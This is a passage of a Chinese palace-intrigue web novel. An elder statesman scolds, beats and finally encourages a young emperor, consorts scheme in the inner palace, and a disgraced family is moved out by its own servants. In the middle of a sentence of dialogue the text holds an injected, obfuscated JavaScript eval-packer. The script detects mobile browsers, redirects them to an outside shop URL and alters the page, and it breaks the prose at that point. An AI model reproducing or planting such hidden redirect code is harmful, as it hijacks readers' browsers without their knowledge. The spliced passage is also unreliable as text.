教导那么会儿还能不假思索吐出运道二字是真踩到霍擎的怒火了,他顷刻间耐心耗尽:“靠运道好能稳坐江山?”霍擎气笑了:“是老头我的错,是我刚才看错了,你不是不愿意动脑子而是你不耐烦听我教诲,你不耐烦你早说啊,何必这样羞辱人!” “咱本就没什么情义,再虚与委蛇是真没意思。但若陛下坦率些,老臣又怎会犯到您面前来讨嫌,害您不耐烦这么会儿实在不是老臣的过错,您就自个儿担待吧,臣告退。”霍擎拿过拐杖撑着拐杖站起来就走,嬴忱璧愣下忙一个健步冲过去阻拦。 “老国公,朕没有不耐烦,朕很感激您的教诲,朕只是,朕只是……” “只是认死理儿?”霍擎打断他讥讽:“只是你生性就如此偏执,只要是你认定的,你都雷打不动固执己见,不管对不对,你只管认定到底就对了?” “您老就这么看待我?”嬴忱璧自嘲,霍擎好笑反问:“那老头我应该怎么看待你啊,我训斥几回了让你动脑子,你当回事儿吗?你有脸啊,你有脸怎么不去湖边照照自己,能敷衍的敷衍,不能敷衍连句话都说不起,你是皇帝当然尽管撒泼犯无耻。” 嬴忱璧攥拳,难言的难受积压在胸腔让他涌起久违而熟悉的童年里的心酸委屈。 “朕只是多年习性难以在一时间转变,朕会改掉这弊病,老国公就原谅朕这回吧。” 霍擎打量他两遍,脸色稍好些,拄着拐杖退回大石前准备坐,可还没落座,看到这外孙走动似也有要坐的意思,当即一拐杖过去敲他小腿立规矩:“让你坐了吗,你还有资格坐着听训吗,认个错你就当事儿过了呀,你咋那么美呢,给老头我站着!” 嬴忱璧想,他这是被当成孙子训了吧,是吧,是吧?宽慰好自己,再走到老人面前,他尽量不拘谨:“您老想表述的,是,我祖父至死都信赖摄政王吗?” “人心坚定有多难,何况是皇帝。”霍擎望着眼前呼之欲出的凌云壮志,念起他过许多年才感悟到肃宗皇帝的高明,在差不多的年纪里,他自问达不到那样的火候。 “你祖父是真厉害,晏家拥戴他,摄政王为他挡刀挨枪舍命救他,他就对晏家好到底,封异姓王,英王的爵位世袭罔替,朝堂国事尽托付与之,更是给足信任。 当年多少人家眼红晏家,多少人打量着肃宗皇帝好性儿见缝插针地挑拨离间煽风点火,指摄政王是在架空他欺辱他连晏家想谋逆都嚷出来了,连桓皇后一个妇人都敢扯着给丈夫出头的旗号明火执仗上蹿下跳妄想牝鸡司晨,当肃宗皇帝眼瞎吗?!” 然话锋一转,霍擎又是感慨:“五十年了,晏家至今安好,权臣能得到这样的好下场,古来有几个?你换个想法看,肃宗皇帝垂拱而治,他们何尝不是一场君臣佳话? 你爹又何尝不是真心对晏家好啊,否则晏家早没了,这归根结底还是你祖父慧眼识人更是信念坚定,换作你,你能有这般坚定的心性吗,你祖父厉不厉害?” “我做不到。”嬴忱璧这下是真不假思索:“我不可能容忍一个独揽朝纲的权臣,我不知道该不该说祖父厉害,但对祖父的认知确实是场颠覆;祖父这份坚定,我钦佩,但不认同,难道您真觉得将朝堂国事都托给臣下捧出个权臣来是件无伤大雅的小事吗?” 霍擎注视他少倾,老脸暂且还温和:“既然已经颠覆对你祖父的认知,为何不进一步想你祖父慧眼如炬手腕超群,肃宗皇帝有识人之能更有把控朝堂安定社稷的大能,他只是不爱处理国事,难道他不爱处理国事就意味着他没本事吗?笑话! 你有何不能想,你祖父既然敢捧出位权臣来,他就有本事握得住这个权臣呢,甚至于他就是故意推出个权臣来挡在他前面,好利于他纵观朝局总揽天下?” 嬴忱璧眼含惊奇,显然有点被这奇思妙想吓到了,他祖父能有那么高深? 没回应,嬴忱璧皱眉思索,霍擎又看他小会儿后翻脸发难:“哪怕你不愿意多想,他们二位都逝世三十多年了早已盖棺定论:肃宗皇帝没有看错人,对得起祖宗社稷对得起臣民;摄政王没有辜负肃宗皇帝,对得起皇家对得起天下,他们留下的是承平治世。” 闻言,能预感到即将被谴责的嬴忱璧停止自己的思绪,没什么表情地看着霍擎。 霍擎温和褪尽锋芒毕露:“你认为你爹是因温献皇后之故才会至今顾念晏家,难道你连这么点小事都不会深想吗?若非肃宗皇帝与摄政王和睦融洽,你爹还可能会喜欢晏家女吗,莫非你觉得你爹能喜欢个欺辱他爹跟他爹剑拔弩张差不多是仇人的仇家女吗? 你把父亲想成了什么样啊,你对祖父又是有多大不满,所以你无视你祖父的功绩,对着已逝的长者连至少的敬意都没有就只想挑刺,逮着一个没有造成危害但你认为不妥当的瑕疵就要穷追猛打不狠狠批判就不能罢休,你的多年习性就是刻薄吗?” 嬴忱璧倏然凶狠瞪他,霍擎浑然没看在眼里,乘胜追击道:“昨天,你还对姬沛挑刺,只因霍秦川说姬沛淡泊名利,你就挑刺了是吧? 在姬氏一族近乎阖族被灭的惨烈前、在你的祖母是迫害姬氏一族的罪魁祸首时,你只想怪怪姬沛怎么淡泊名利还要出彭山来害你祖母造杀孽损了福泽,是吧?” “朕没有!”嬴忱璧疾声抢话,像个固执的孩童:“朕只是合理质疑。” “那这许多年怎么不见你合理质疑你媳妇和芮家呀?”在意与不在意,实在惨烈吧?!霍擎能理解嬴忱璧在意媳妇和芮家人还感触不深,眼下的对比是真让他觉得讽刺得太惨烈,这位到底是个什么样的品性才会对旁人刻薄而对自己人近乎卑微讨好? 难怪他孙女不相信嬴忱璧,霍擎都有不想再理会的冲动,这种皇帝,霍家想仰赖他求个将来的退路?呵,是不是霍家靠太上皇乃至豁出去搏一把都比寄望他强得多? “你那位媳妇和芮家都是些什么腌臜玩意儿,以你这刻薄爱挑刺的性情,这许多年怎么不见你合理质疑他们?”霍擎淡淡的,比起还有情绪波动的冷或怒,这种淡就是彻底漠视:“还是说,你只对外人刻薄,你媳妇和芮家人是你划定的自己人。 对于你认定的自己人,多糟烂都无妨,多糟烂你都要捧在手心里将他们护得密不透风。又或者,除了你自己和你认定的自己人,你骨子里对谁都看不顺眼,包括你爹和你祖父,我霍家反而应该感恩,你怨恨霍家不是针对霍家只是一视同仁地刻薄。” 嬴忱璧不自觉紧绷,拳头捏得像是想把骨节捏碎,心里更闷得像是都把喉咙堵着了让他发不出声音来。霍擎拿起拐杖就走,嬴忱璧迈出沉重不少的步伐追上阻拦,龙颜恳切还有丝跟他既违和又相融的可怜:“朕在改,朕会改好的,老国公就相信朕吧。” “在你想要认同而别人没有给你认同时,你是不是向来只觉得是别人对你有偏见而从来没有反思过根源出在你自己,是你自己做的事就没法儿让别人相信你。” 霍擎克制道:“我也想相信你啊,我女儿养育你长大,我不想跟你结个善果吗,可我敢相信你能相信你吗,你的祖母对姬氏一族罪孽深重,你没有怜悯没有愧疚反而刻薄人家,你对你早已逝世的祖父都要再三挑剔,可你对你认定的那群人呢? 你媳妇在盼着你早死啊,若有契机,她做得出来害死你吧,芮家是想将你敲骨吸髓吧,这么群玩意儿,你照样能捧在手心里爱护十余年,你的亲疏区别得有多血淋淋啊。你对霍家积怨不满二十多年,你让我怎么相信霍家将来在你手里还能有活路?!” 倘若晏霁之此时在场,怕是真的不能不再感喟:嬴忱璧真是想把自己坑死。 正徽帝嬴忱璧倔强对峙,谁还没有点委屈,谁还没有个行差踏错时,他在改啊,为什么就不能看他的好非要拿往事来跟他算,为什么就不能给他一点信任? 难以想象,嬴忱璧满布凶光的眼底还有丝如孩童般脆弱的哭腔,就像只还在幼龄的小狼遭遇袭击后拼命对抗要保护自己,但他就不说话,越被质疑越要死扛硬犟。 霍擎真嫌糟眼睛,皇帝这么副像小娃受诬陷受委屈的德行,想叫他怎样啊? “转过去!” 老人家冲天一声吼,嬴忱璧梗着脖子抿抿唇,自觉知晓对方意图地转过身憋劲负气时,猛地一棍落在后背,他不可思议地呆了呆,还没做反应,密密麻麻的痛打袭来,还有霍擎的咆哮在耳边炸响:“兔崽子,吭一声能咋的,闷不吭声你就有出息了? 打量我不晓得你那点小九九啊,你就自觉你比你爹和祖父都强多了是吧,你可真是有脸自鸣得意啊,你爹好歹前半生很清醒,朱家在他娘活着时就没有能出头的份儿,你呢?你爹当年若是妥协了,你被朱家人夺走,你以为你会是什么下场? 你心心念念自觉能给足你完满的亲娘连你的小命都顾不了,你若跟着她过活,你以为你能活得下来吗,你爹的后宫有多残酷,你瞎啊,没看见你有多少没出生没齿序的兄弟吗?就算你能活,可被朱家捏着,你那个娘除了抱着你哭还能抵什么屁用?! 当你亲娘早死就可着劲儿缅怀想象若你养在生母膝下该有多好,明里暗里中伤我女儿,看我霍家睁只眼闭只眼,自觉你是皇帝就得寸进尺犯无耻,你要不要脸啊……” 自卑偏执的娃最忌讳什么?对了,忌讳被忽视,把他痛打一顿可能都算不了什么,但你要是忽略他无视他,那后果可能就能堪比滔滔不绝的黄河水,能被他记账到天荒地老。 嬴忱璧心病未愈,触及到他揪心的痛处,他保管能瞬间回到童年时的心境。 霍擎打累了,回到原位坐下来歇歇,嬴忱璧别别扭扭慢吞吞走去老人家面前。 “刚才的事咱就互相抵消了,同意哇?”霍擎还友好地扔只桃给他,嬴忱璧接住桃子,仍然没说话,霍擎利落做主:“不说话就当你同意了,谁有那闲情跟你玩猜猜。” 嬴忱璧依旧未语,霍擎懒得再搭理,喝着茶靠着旁边的大石缓缓劲儿。 他俩都缓足,霍擎忆往昔:“你祖父肃宗皇帝还有一点很厉害,他不畏惧死亡。姬沛是摄政王为肃宗皇帝请来的,昨儿个霍秦川应该说了,彭山姬氏一族有自远古传下来的宝物,你以为会是什么宝物才会使得你爹默许朱太后和朱存焳做出屠族这种事?” 心知肚明的嬴忱璧装得将疑将信中带着点戒备,既愿意相信他又不敢全信怕被他糊弄,即不知情情况下应有的正常表现,但,就是还是不吭声。 霍擎随他装闷葫芦,自顾给答案:“传言是能改天换地扭转乾坤重塑光阴的宝物。” 嬴忱璧装得满眼难以置信,霍擎也没多涉及,自然过渡到:“摄政王请姬沛出山是为肃宗调理身子骨延年益寿来的,只是你祖父肃宗皇帝自己看得很淡,生老病死,谁都要经历,不管是贩夫走卒还是皇帝都逃不过,何必太强求。” “姬沛,姬沛是姬太妃的弟弟?他当时应该还很年轻吧?”嬴忱璧终于开尊口。 “三十五年前十六岁。”霍擎顺溜应,嬴忱璧险些呛到:“十六岁?” “你想质疑啥?”霍擎猛烈抨击:“自个儿愚笨,你就当这世间没有惊世之才啊。” 嬴忱璧抿抿唇昂过头,霍擎瞥瞥他这副不服气的死样,端起茶碗啜一口,心平气和道:“话都到这儿了,咱就再聊聊惠宗皇帝,你看你这位伯祖又当如何?” “莫非惠宗也有可取之处吗?”嬴忱璧有经验教训地不再固执己见。 “我朝首开科举,谁呀?”霍擎反问,嬴忱璧愣下,倏然想到:“是惠宗?” “对,老头我当时十岁,六十一年了,就是惠宗开的科举,惠宗皇帝登基没两年就开了科举。太宗皇帝雄韬伟略,可饶是他,在位期间都始终未开科举。”霍擎语重心长:“忱璧,一个刚登基就大开科举的皇帝会没想大展宏图做出番伟业来吗?” 嬴忱璧哑然,突然间就觉得很不是滋味:“可,惠宗在位才不过九年而已,他在位期间嗜杀成性、沉溺声色、宠幸奸佞搅得朝堂内外乌烟瘴气乱象横生、老百姓们怨声载道,倘若他想大展宏图做个有为之君,才几年,他怎么就能堕落成一个昏君?” 霍擎伸出手臂,嬴忱璧没懂,霍擎再抬抬手臂示意,嬴忱璧奇怪看他,霍擎愤愤骂道:“我对霍宝鸾就没啥耐心,你果然是霍宝鸾养大的,跟霍宝鸾一样不招我耐心,愣着干啥,不到三十岁就这么没眼力劲了还像什么样,还不快过来扶着。” 你刚打过我好吧,你把我想得也太没脾气了吧,嬴忱璧忍住,往前走过两步,伸手去扶这位已经年过七十的老者。霍擎搭着外孙的手臂站起来,毫无预兆地一派慈祥:“孩子啊,你的祖宗们在天上看到你都会很高兴的,嬴家有你是嬴氏皇族的福气。” 嬴忱璧对此不咸不淡的回应:“老国公莫不是想拿朕来逗闷吧?” “想让昌隆侯死得对社稷最有价值,是吧?”霍擎满眼意味深长,嬴忱璧怔住,这感觉就好像不被家长重视的小辈暗自发愤图强着想叫长辈刮目相看时突然被挑破了,他虽然没想隐瞒也没想证明什么,但猝然被老国丈看穿,他…他忽就不知该如何。 嬴忱璧抿唇不语以沉默掩饰,霍擎拄着拐杖拍拍外孙的手,在这刻格外感慨:“前朝大肆打压门阀世族,立国五十余年亡国。前车之鉴在前,我朝立国初期想都不要想去动世家,传至你曾祖,太宗皇帝几经犹豫思量还是连科举都没开。 你伯祖惠宗继位时你嬴氏皇族立国近四十年,我相信,惠宗登基时必然想过要在他手中把世家彻底打压下去,可哪有那么容易,否则太宗皇帝何至于连科举都没开。” “惠宗败了,还一蹶不振把他自己都废掉了。”霍擎老眼炯炯措辞铿锵,不惮以最大的危机揣测:“你想过没有,你祖父肃宗继位时接手的是怎样一副烂摊子,假若肃宗皇帝没有安邦定国之能,会不会你嬴氏皇族也将立国仅五十余年就亡国?” 嬴忱璧瞳孔一缩,荒谬二字愣是怎么也呵叱不出来,更是对他祖父彻底感观。 “但你会成功的。”霍擎抓着外孙的手臂,把他想要的信念给他:“你祖父在位二十载,你爹在位二十八载,单他俩就有将近五十年的经验能给你借鉴,何况立国百年,时机确实到了,上天还给你送了份大礼。孩子,你得天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459310|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独厚,你一定会成功的。” “霍家可是当朝第一豪族。”咱们立场不同,嬴忱璧自觉绝不会被这点小伎俩迷惑:“朕若是要削世家压权贵,霍家首当其冲,恐怕第一个反对的就是太后。” “你打算收拾昌隆侯府时把举国数得着的豪族全部卷进去?”霍擎像看白痴一样看他,嬴忱璧轻咳两声:“好,此事就暂且不论,但您就不怕武断吗?”他清醒道:“立国百年还意味着权贵世家豪族已是附骨之疽,刮骨疗毒,也许我也会把自己填进去。” “是你百折不挠的坚韧、你坚定向善的珍贵和当断则断的果决告诉我,我没有武断。”霍擎老脸欣慰:“孩子,你很了不起,你靠着自己活出了你最好的模样。 对芮家,对妻室,你能倾尽热忱付出长达十余年,这是常人远远做不到的百折不挠。始终没有得到回报,你也只是放手,不曾扭曲自己更不曾只因他们就丧失对人性向好的信念,何其难得,你看你爹只因他四弟就近乎毁了他对自己的信心和对至亲的信任啊。 你更是冲破生母遗传给你的闭塞枷锁,在没有外人知道、在只属于你自己的小天地里,自己疗伤、自己茁壮、自己刚强,自己活出你能活成的最好模样,你很了不起。” 嬴忱璧刹那间心酸,难抑难受委屈甚至有些不敢直视眼前的老人,他侧过头定定心神,还没待他缓和些,霍擎又把新发现的虢王的情况告知他。 “虢王?”嬴忱璧惊诧转过头,是真意外:“虢王和昌隆侯在授康十八年前就有勾结,授康十九年废齐王造反很可能是他们的阴谋,他们还拉了恒山王入伙?” “是啊,晏家这娃娃昨天傍晚和滕王闲侃时透过桓国公对爵位的洒脱发现的端倪,他本想今早禀告陛下,只是他还没来得及禀告,陛下就让他退下了。”霍擎帮忙解释下,信的,他真是老眼昏花了,这样个阴谋在他眼皮底下十几年,他竟然都没察觉。 “陛下,五年前定襄的战事、圣人给虢王的嫡女和护国公世子赐婚恐怕都得推翻来看。镇守安西的大将必须要换,更得让镇南侯和护国公彻查南北前线大军。” 嬴忱璧眼底一沉:“您的意思,五年前边境之危是魏王在前、虢王和昌隆侯隐在幕后,昌隆侯很可能不仅染指了安西的大军还已经深入到南北前线的大军中了?” 霍擎笑:“您相信朱存焳在彭山的屠杀之后会没有惶惶不安吗,您相信他会把自己的性命寄望于表哥吗,您相信,和护国公府的亲事是圣人选的虢王府而非他和虢王选的吗?只是谁都没想到,五年前魏王会硬生生逆转改成硬保护国公府罢了。” “这群蠹虫!”嬴忱璧攥紧拳头,手背青筋直暴。霍擎瞧着年轻人可真是斗志昂扬,一天天没个消停的时候就不嫌累吗?果然他老了,他那太上皇女婿更是想不开。 “陛下近日多留意庄太妃吧,您,”他昨日还没出口,嬴忱璧就抢答了:“朕知道。” “老臣指的不是魏王府,是圣人。”霍擎防范道:“您昨日和太上皇吵得那么凶,显国公还能不给晋王一个足以能让晋王相信的缘由吗,显国公又只能给什么? 但晋王能信,庄太妃会信吗?她要是能信陛下会拿这等事跟圣人吵,如何配走到今天;但不管庄太妃是猜显国公在撒谎还是显国公也被骗了,她能放过这个机会吗?” 嬴忱璧凤眸微眯漏出一丝狠厉:“庄太妃会运作让圣人收到消息,指朕和魏王在向群臣透露:圣人想求长生不老?”想求长生的太上皇还可能安于做太上皇吗? “多个防备吧,假若庄太妃出此招而陛下没有防备,对您总归不大好。”霍擎顾及道,嬴忱璧忧的是:“朕就怕朕不可能拦得住庄太妃给圣人传消息啊。” “庄太妃想给圣人传消息,自然是挡不住的,但陛下尽可让她聪明反被聪明误。圣人何等睿智,是确有其事还是蒙骗他的假消息,圣人岂会辨别不出?” 霍擎点拨道:“太上皇想求长生不老是多大的事,陛下和魏王若是告知大臣,您二位难道还会逮着个大臣就嚷嚷吗?您和魏王若是往外传了传,获悉的大臣们谁不会烂在肚子里,这是枕边人都休想探知的隐秘,可能会是细作打探得到的吗?” 嬴忱璧了然,也注意到了从谈起虢王,这老国公便又退回到人臣的位置上了。 “陛下,其实庄太妃这三十余年来处事态度的变化很值得您警醒。”霍擎不厌其烦道:“庄太妃当然聪慧,但若是让她以现在的心境去面对二三十年前的后宫纷争,她出不了头。很多聪明人游刃有余许多年之后都容易陷进个困境:太过自以为是。” “朕懂得。”嬴忱璧是真虚心受教了:“老国公放心,朕必定铭记在心引以为戒。” “好,老臣就不叨扰陛下了,老臣告退。”霍擎拄着拐杖行个礼退下,嬴忱璧有点恍惚老人家真就这样走了?他想都没想地追上去问:“老国公,您,您想要什么?” 霍擎注视皇帝两息时间,不答反问:“老臣想要,陛下就愿意给吗?” 嬴忱璧痛快应:“只要朕给得起。” 霍擎笑笑,没有过多试探皇帝的真心假意,既带着长者的期许又不乏人臣的敬意,说:“老臣想向陛下要的是,老臣希望,陛下百年之后的庙号会是:世宗。” 世宗,文治武功,一世之宗! 这杀伤力强得令嬴忱璧几乎忍不住眼眶泛红,就像是突然发现你一直以为忽视你不在意你的长辈实则很重视你更是对你抱有厚望的那种闷堵委屈辛酸,不管霍擎是真心还是假意,嬴忱璧都控制不住心底酸楚泛滥,这期许便是假意都厚重得让他动容。 “你爹啊,你爹在三十年前定想过百年后要冠庙号世宗,可惜他半道折戟早已配不上,也不会有谁想在他死后给他上庙号世宗,他没有做到,你要做到,好不好?” 老人家殷殷叮咛,嬴忱璧差点没克制住,以前的委屈还没处发泄了,就故意拆台:“您刚才不还言之凿凿:你让我怎么相信霍家将来在你手里还有活路?” 霍擎仿佛看穿皇帝的心思故意逗小孩似的:“那你想的是不是,你肯定会给霍家善终好狠狠打我的脸打贵妃的脸打所有霍家人的脸,好让我们对你刮目相看啊。” “朕没有!”嬴忱璧一甩头,真有股小孩犯倔的意味了,霍擎失笑:“外祖父累了,要去前殿歇会儿,剩下的,你要不问问灵渠恨不恨害她颠沛流离的仇人?” “您言下之意莫非是贵妃不恨吗?”嬴忱璧脱口反对:“这怎么可能。” “陛下问过就晓得了。”霍擎拍拍皇帝的手臂,拄着拐杖往前走,就这么走了。 嬴忱璧怔愣下随之转身看去,望着老国公微微驼着背略显步履蹒跚,他莫名怅然若失。他以为,老人家会像穆国公曾让他喊舅舅那般要求他:陛下叫我声外祖父吧。 在原地遥望好一会儿,嬴忱璧走到老人坐过的大石前坐,想将思绪好好捋捋,没想到他死活静不下心,终是放弃挣扎回前殿去,谁想被告知:贵妃拿着太后的令牌出宫了,老国公他们也都已经出宫了,嬴忱璧:“……”他在花园也没滞留多久吧。 “派人去通知魏王府接驾,未时二刻,朕和皇后去魏王府看大皇子。” 嬴忱璧交代过内侍,走到广袤的蓝天下登高远眺,盛世乾坤的豪情壮志喷薄欲出。 适时,慈寿宫中的教导也落下了帷幕。 晋王带着‘魏王在故意蒙蔽他、无需困扰、将来仍照原样奉养父皇颐养天年’的鼓舞离开生母的住处,他刚走出慈寿宫没多久,鞠太妃就从隔壁宁寿宫过来问情况。 “皇帝把事情封锁了,显国公昨日就没打探出来。”庄太妃神情淡淡。 “没打探出来,你们母子还能聊那么久?”鞠太妃不大相信。 “虢王世子妃今早来找庶妹,小朱太妃竟然没发火,是吧?”庄太妃略过质疑反问。 鞠太妃脾性不错地没刨根就随她转话题:“是啊,就她们姐妹俩那架势,她每回撞上那嫡姐都要闹得鸡犬不宁,今儿居然连屋子都没砸,真不知哪里不正常了。” 不对,事出反常即有妖!庄太妃立时意识到:“朱家要出事。” 鞠太妃很怀疑地睨她两眼:“有圣人的泼天荣宠在,朱家能出什么事?” “我的意思是朱家要挑事。”庄太妃耐住脾性讲解:“应该是昌隆侯送信来,朱家最近要有大动作还得要她们姐妹配合,事关家族大计才令小朱太妃没跟那嫡姐起冲突。” 但小朱太妃能成什么事?庄太妃想不通,昌隆侯若真有大计应该避开这个庶女啊。 “你这几天盯紧她,别让朱家在我们眼皮底下闹出什么我们不知情的大事来。” “朱家想挑事就挑事呗,又挑不到你我头上,你非想多事管管何不自己盯着?”鞠太妃兴致缺缺,庄太妃深呼吸:“你盯着那堂妹,我盯着那堂姐,各自就近看着。” “行吧。”鞠太妃不耐烦地甩丝帕,联想到兄长的交代不禁脸色似笑非笑地微妙起来:“那你呢,你是不是要在魏王府搞事情?”惹得庄太妃反打量她,她嗤道:“我才懒得管你想在魏王府搞什么事,是我大哥,我跟你走得近,我大哥怕你出事会连累我。 他让我拦着你不要想在魏王府搞事情了,皇帝送大皇子去魏王府小住摆明就是个专门给你准备请你入瓮的陷阱,你若是还要自作聪明执迷不悟,你绝对逃不掉的。” “那么,”庄太妃唇畔扬起抹生动的笑意:“你代我谢过郢国公的提点吧。” “随便你。”一看就知道没当回事儿,鞠太妃也无所谓,把话带到就行了,她也觉得她大哥杞人忧天,就是陷进又怎样,庄太妃想要搞事情,皇帝和魏王保管照样没辙。 鞠太妃转身走人,庄太妃淡笑着凝望前方,端的是气定神闲从容自得。 泛着金芒的太阳光辉落进四方庭院,映照重重高墙的局囿。 119. 第119章 人,许多偏爱一厢情愿,故而当被现实逼醒时,撕裂得才格外痛。 托镖运走不少家当后,佟家今日正式搬出尚书府大宅迁往租赁的新居,一路搬得平顺,没出任何妖蛾,些许围观路人看来未觉有异,殊不知对佟图匡而言简直是耻辱。 他定下的明明是搬去晏家住,他竟然被群奴婢给害病倒了! 这群吃里扒外胆大包天的奴婢连糊弄他都省了,搬家前他就昏睡着,再醒来,管家杵在他的病榻前禀告乃至是通知他:佟家这是搬到哪里了,这新宅院租住到年底,佟家明日会放出百名奴婢……佟图匡脑袋嗡嗡嗡作响,最后只确定一件事,这个叛徒! “来人!来人!!” “老太爷不必费劲喊了。”管家温和而毫无恭顺地提示:“这座院里还能服从您号令的奴婢就刚从晏家和霍家回来的那两伙人,我们撤走前,您喊破喉咙,他们都进不来。您放心,二老爷回来接管前,我们必会全部撤离京畿,最后这几天就请您多担待。” 佟图匡老脸恨得几欲想把这个叛徒剁碎:“晏墉和霍漓江给你什么好处啊就让你带着他们全都吃里扒外背叛佟家,你以为你们背叛佟家后还会有命拿这笔横财吗?” 管家笑笑:“老太爷何不想想,若是老奴背后的人想让您这几天病殁,您挣扎得过吗?若是老奴背后的人想让你们佟家人全部消失在这世间,您又能奈何得了吗?” 佟图匡瞳孔一震闪过丝惊悚,他赶忙冷静稳住自己告诫自己不要被这叛徒蛊惑,然他正想狠狠反压时,管家弯弯腰就往外走,深知佟老头的德行,管家懒得跟他费口水。 “来人!来人!!”佟图匡不死心不甘心地冲屋外喊,可他都把喉咙喊嘶哑了,门前空空荡荡愣是没一个奴婢蹿出来,他死死盯着屋门,眼睛不由自主地就红了。 他居然沦落到被女婿甚至是被女婿收买的下人拿捏?! 深恶痛绝的恐慌再度袭来,佟图匡猛地攥拳头,他真的捏不住晏家和霍家了吗? 三天前佟家遭遇天塌地陷时他都没动摇过,有着永远斩不断的血脉在,霍家和晏家想逃出他的手掌心就是妄想!可今天,今天的变故太超出他的掌控了。 他们敢害死他吗?佟图匡再难遏制自己不乱想,下个瞬间他就又想到,他们有何不敢?而这念头一经冒出便刺激得他浑身打冷颤,越想越揪心直至不再想,进而反过来宽慰自己,不会的、不会不会,他们怎么敢啊,要不然他们还怎么面对儿女?! 都说谎话说一千遍、谎话都能变成真的,如此宽慰自己,佟图匡自然又能放心了。 糟乱的吵闹传来,佟图匡下意识想训斥时猜到情况,冲屋外狂喊,没见没被收买的奴婢冲进屋里,他挣扎着要出去时摔滚下床,下刻,他看见他的长随推门而入。 “你若现在悔过,我就原谅你,不会计较你的背叛。”佟图匡揪着他咬牙切齿。 长随镇定拿布条把被病得跟弱鸡似的佟老头绑起来再把他的嘴封住,接着把他搬上床,给他盖好薄被,在佟老头目呲欲裂的愤怒中,本想说什么,还是什么都没说。 在屋外闹事的是刚从霍家回来佟家的这群奴婢,从晏家回来的那伙人也想闹,可他们挨着几十大板从晏家出来的,都扛着重伤,有心无力只能先养伤。 这群奴婢要闹事的因由也简单,第一就是嫌新搬的住宅太小,霍家大宅可有三百多亩,佟家原来住的尚书府虽然才一百亩但好歹能凑合,可现在就座十几亩的院子,芝麻绿豆小的地方叫人怎么住,大家伙过来看见是这么小的院子差点都没想进门。 进到院里连坐下来歇会儿都还没歇,管事就过来指派差事,他们捏着鼻子把差事做了,管事还要挑刺,谁还愿意忍,脾性烈的自发带头,去找老太爷伸冤。 可惜佟家自有的奴婢有一百多人更没谁会惯着他们,管家利落下令把他们绑起来杖打,佟振羽的花珀姨娘仗着有身孕叫嚣,管家便让人把她绑起来,不打,剩下的各打五十大板,硬是把这伙人打得从鼻孔朝天到痛得咒骂连连威胁不断。 管家见状,眼皮都没掀,让小厮们补十几二十大板,不打死就行。 同样在现实和自我臆想的撕裂中阵痛的还有在京兆大牢的六人。 萧灼灼拽着堂嫂霍舒窈陪她围观过佟家搬家,又马不停蹄地拽着堂嫂陪她去京兆府,哎呀她真是不亲眼见证过霍蓁蓁、不,佟蓁蓁,佟蓁蓁,不亲眼见证过都不敢相信啊。 狱卒在前引路,边引路边给建议:“其实你们还是远远看着吧别走去他们的牢房前了,我们送饭都不靠近他们的,就隔着两丈远给他们扔二十个白馒头。” “啊,为什么?”萧灼灼奇怪,二十来岁的狱卒受不了地说:“疯子,第一回给他们送饭的张哥被他们抓的满脸血,那手跟狼爪子似的,连着几回都这样,谁还敢靠近。 而且不靠近都危险,他们看见人就要抓东西砸,随便抓到什么东西就要砸,就算是给他们送的馒头,他们不是饿得受不了了都不会要,抓着馒头就要往回砸。” 年轻的狱卒说着撇撇嘴:“当谁愿意给他们送饭似的,要不是霍家送了一百两银子来,那种德行谁还管呀,饿几天,保管能让他们知道这就不是他们能撒泼的地方。” 萧灼灼愣下看向她堂嫂,看着堂嫂平静得犹若未闻,她莫名心戚戚,三个月前,霍蓁蓁还多风光啊怎么变成佟蓁蓁就落魄至此了呢,落魄到坐牢了都还要被狱卒嫌弃。 她明白,不管是儿郎还是女郎,家族都是根基,背离家族就休怨家族狠辣,可…… “大嫂你一点不心疼么,他们终归是你的堂弟堂妹,跟你打断骨头连着筋。” “我若心软,霍家若心软,将来被他们害了,灼灼你替我们报仇还是替我们烧纸钱?”霍舒窈不留情面地冷怼:“贵妃当天就曾言,这世间就是有那么多悲天悯人的好事者喜欢劝人以德报怨,你动动嘴皮就想谴责,可你能替霍家承担心软的后果吗?” 萧灼灼被呛得有些气短,气短过后便是不服:“可霍家连改过的机会都没有给他们呀,霍家怎么知道他们不会改过自新,这世间有几个家族对儿孙这样冷酷?” 霍舒窈美眸一转,故意讽刺:“假若灼灼你遇到个包藏祸心的少年来讨你喜欢,你如他所愿与他私定终身、闹着你爹娘非他不嫁,寻死腻活逼得叔叔婶婶同意了,你夫家将你和萧家利用殆尽后赶尽杀绝,萧氏族人在九泉下不让你改过自新也是冷酷吧?” 萧灼灼想反击可就像是被掐住喉咙般噎得慌,强壮起气势来驳斥:“我怎会连外人是否对我和萧家包藏祸心都分辨不出,大嫂你想遮掩霍家的冷酷也不必这样诬赖我吧?” “嗯,这就好。”霍舒窈面若欣慰:“昌隆侯的庶子去年向你求亲,摆明就是包藏祸心,灼灼这就给嫂嫂起个誓吧,你就算对晏霁之死心也绝不会答应朱家的求亲。” 萧灼灼:“……” 还好,仿若利刃一般刺过来的尖锐嘶叫拯救了萧灼灼,萧灼灼装作被吸引般看向狱卒,狱卒淡定道:“霍二姑奶奶带着她姨娘和弟弟比你们早来没多久。” 霍鸳娇是吧,萧灼灼假装忘记和堂嫂的争端,对堂嫂和颜悦色:“大嫂,我们要不就找个隐蔽的地方观察吧?”惹得霍舒窈别有意味地瞩目她,瞩目得萧灼灼心提起来怀疑这堂嫂不肯罢休非想压压她时,霍舒窈略点点头,对狱卒说:“带路吧。” 鉴于霍家有送银两来打点,给这六人安排的牢房原本很干净,可干净也架不住他们自己要折腾成乱糟糟的。来到观测的隐蔽处,萧灼灼探头看去,看一眼就被吓跳。 佟振羽和佟梦奭夫妇靠狱墙坐着没动静,佟蓁蓁祖孙仨抓着栏杆跟牢房外的三人对骂。霍鸳娇他们得意挑衅着,像人;可被铁牢挡着的那三个,萧灼灼越看越觉得像恶鬼。 萧灼灼忽然想作呕就很不舒服:“大嫂,他们出狱后还会消停吗?” 